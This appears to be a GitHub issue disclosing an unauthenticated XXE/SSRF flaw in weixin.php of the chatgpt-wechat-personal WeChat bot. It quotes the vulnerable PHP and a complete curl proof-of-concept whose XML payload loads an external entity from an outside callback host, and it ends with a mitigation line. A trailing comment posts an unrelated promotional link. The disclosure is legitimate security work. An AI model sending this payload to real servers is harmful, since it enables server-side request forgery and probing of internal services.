dirk1983 / chatgpt-wechat-personal

在微信个人订阅号中通过调用OpenAI最新接口和gpt-3.5-turbo模型实现ChatGPT聊天机器人的功能
138 stars 35 forks source link

SSRF vulnerability in `weixin.php` File (chatgpt-wechat-personal) #4

Open zer0yu opened 1 year ago

zer0yu commented 1 year ago

SSRF vulnerability in weixin.php File (chatgpt-wechat-personal)

0x01 Affected version

vendor: https://github.com/dirk1983/chatgpt-wechat-personal

version: [release](https://github.com/dirk1983/chatgpt-wechat-personal/commit/a0857f646fcede01a04726d79c1bba0d3bec6072)

php version: 7.0.30

libxml 2.8.0

0x02 Vulnerability description

A Server-Side Request Forgery (SSRF) in weixin.php file of [chatgpt-wechat-personal](https://github.com/dirk1983/chatgpt-wechat-personal/commit/a0857f646fcede01a04726d79c1bba0d3bec6072) allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs by post a XML data. It should be noted that this vulnerability can be triggered without the need for authentication and is therefore more harmful.

The vulnerable code is located in the weixin.php file. Because the function does not perform sufficient checksumming on user-input, the taint is introduced from the file_get_contents("php://input") variable into the tainted function simplexml_load_string , and after the simplexml_load_string function is executed it sends a request to the URL specified by the user-provided URL, eventually leading to an SSRF vulnerability.

<?php
$xml_tree = simplexml_load_string(file_get_contents("php://input"));
echo $xml_tree->Content;
$prompt .= $xml_tree->Content;
$touser = $xml_tree->FromUserName;

Because the user-provided post data is unrestricted, it is also possible to use the server side to send requests, such as probing web services. The corresponding PoC is as follows:

image-20230908233946863

image-20230908233921766

You can also request the following curl command

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:9080' -H $'Content-Length: 134' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: ' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://127.0.0.1:9080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Referer: http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'x-custom-ip-authorization: 127.0.0.1' -H $'Connection: close' \
    --data-binary $'<!DOCTYPE foo [\x0d\x0a\x09<!ENTITY  % xxe SYSTEM \"http://41fde16e72.ipv6.1433.eu.org/xxe\" >\x0d\x0a\x09%xxe;\x0d\x0a]>\x0d\x0a<root>\x0d\x0a\x09<name>&evil;</name>\x0d\x0a</root>' \
    $'http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php'

0x03 Mitigation

  1. It is recommended to disable external entities by adding the following line at the beginning of the code

    libxml_disable_entity_loader(true);

0x04 Acknowledgement

z3

guotao commented 11 months ago

you can try https://game.jielun.fun/chat/?f=gith